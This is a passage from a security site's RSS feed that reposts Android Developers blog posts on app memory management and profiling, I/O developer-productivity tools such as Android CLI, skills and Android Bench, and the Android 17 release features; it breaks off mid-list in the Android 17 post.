<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 3 updates for Android developer productivity]]></title>
<description><![CDATA[Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, ho...]]></description>
<link>https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:38 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVRZrq_G4uVlVKLwXHoXqLsp3SGb-2GJbHfNRNmjfSPuZ9gUrLJ8_fyNTDP-_jsJowwajpxaLPFd8047rF7B5IpSE8-gXFtwVx3x4WpEqWLX3Cm-bKo9tof1j5yTLT66FmzpEnod7EK8_3vUDNZv12uDz1lnfZ5O8iOQqxfWgH0oOYXd3CXvG4IUJuRfU/s4097/MM_Dev%20Productivity_Meta.png"><div><i>Posted by Simona Milanovic, Developer Relations Engineer</i></div><p class="post-author"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s8419/MM_Dev%20Productivity_Blog.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s16000/MM_Dev%20Productivity_Blog.png"></a></div><br><i><br></i><p></p>

<p>Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.</p><div class="separator"><div class="separator">
  <div>
    
  </div>
</div>

<p>To help you stay up to date, here is a summary of the<b> top 3 announcements for Android Developer Productivity at I/O</b>.</p>

<h2>1. Android CLI is now stable</h2><p><a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> is now <strong>stable at version 1.0</strong>, with more capabilities and integrations.</p>

<p>The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to <strong>integrate directly with Android Studio</strong>, via the <a href="https://developer.android.com/tools/agents/android-cli#studio-check">studio command</a>.</p>

<p>Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to <strong>Android Studio’s unique tooling</strong>, such as performance profilers, Compose Previews, and Android Device Streaming.</p><div class="separator"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/s1948/1_agy-android-studio.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/w640-h510/1_agy-android-studio.png" width="640"></a></div><div><i>Android CLI now integrates seamlessly with Android Studio</i></div></div>

<p>Additionally, Google Antigravity now officially supports Android development, with the <strong>Android resources bundle</strong>, which includes the Android CLI and skills.</p>

<p>You can either install the bundle during onboarding after installation, or later from the <strong>Settings &gt; Customizations &gt; Build With Google Plugins</strong> menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/s1948/1_agy-android-cli.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/w640-h510/1_agy-android-cli.png" width="640"></a></div><div><i>Google Antigravity now offers the Android resources bundle</i></div>

</div><p><span>Android CLI is now available through more package managers: like </span><code>npm</code><span> and </span><code>homebrew</code><span>. </span><span>For more information, check out the </span><a href="https://android-developers.googleblog.com/2026/05/android-cli-stable-1-0-agent-development.html">Android CLI blog post</a><span> and </span><a href="https://developer.android.com/tools/agents/android-cli">official documentation.</a></p><div><div class="separator"><h2>2. Android skills keep growing</h2><p>To help models gain expertise for specific development patterns that follow our best practices, we are continuing to <strong>expand our repository of Android skills</strong>, available through <a href="https://developer.android.com/tools/agents/android-cli#skills-add">Android CLI</a> and <a href="https://github.com/android/skills">GitHub</a>.</p>

<p>Android skills ground LLMs in <strong>specialized workflows and domain knowledge,</strong> for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh <strong>new batch of skills,</strong> with now more than 17 skills for areas such as:</p><ul><li>Adaptive UI</li><li>Display Glasses and Jetpack Compose Glimmer for XR</li><li>Migration to CameraX</li><li>Perfetto SQL and Trace Analysis</li><li>Jetpack Compose Styles API</li><li>AppFunctions</li><li>Verified email retrieval with Android Credential Manager</li><li>Engage SDK integration</li><li>Testing setup</li><li>Wear OS Jetpack Compose Material3</li></ul><br><div class="separator"><img border="0" data-original-height="405" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOV9PePtO9nHxegfJn96Lsab3Z1fD7FEsjdQ9EQ2vzNOc9es2_S6h8twazy_ief9YVabhkOUWu7xJHr-hxINrva44O7QDpt3z96UtGXbvJYtAARj4tVWK3SPuFVr2in-MSdyCdpY5aOdqRbBjtw06-n365vZv8_Or8YCDrj6FQyoVl6xxKibEJF4Nh3io/s16000/2_android_skills_dev_keynote.gif"><i>Android skills keep growing</i></div><div class="separator"><i><br></i></div><div><div>You can browse skills and install using the Android CLI commands:</div><p></p>

<pre><div>android skills list</div><div>android skills add –skill=&lt;skill-name&gt;</div></pre>

<p>For more information, check out the <a href="https://developer.android.com/tools/agents/android-skills">official documentation.</a></p>

<h2>3. Android Bench adds new models</h2><p>Earlier this year, we launched <a href="https://developer.android.com/bench">Android Bench</a> - our leaderboard for <strong>testing LLMs on real-world Android development</strong> challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.</p><div class="separator"><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s2618/AndroidBenchLeaderboard.png"><img border="0" data-original-height="1488" data-original-width="2618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s16000/AndroidBenchLeaderboard.png"></a></div><div><i>Latest results from Android Bench leaderboard</i></div>

<p>You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model <strong>Gemma 4</strong>, to the leaderboard. We also added the latest models including <strong>Gemini 3.5 Flash.</strong></p>

<p>We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the <a href="https://developer.android.com/bench">Android Bench leaderboard</a> to see the latest results.</p>

<h2>Android development anywhere</h2><p>By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re <strong>supporting Android developers wherever they choose to build.</strong></p>

<p>Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.</p><p>Check out the full <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-XnEzj1_CBClxpkGwYQeLy">Developer productivity at Google I/O 2026 YouTube playlist</a> for more information.</p></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
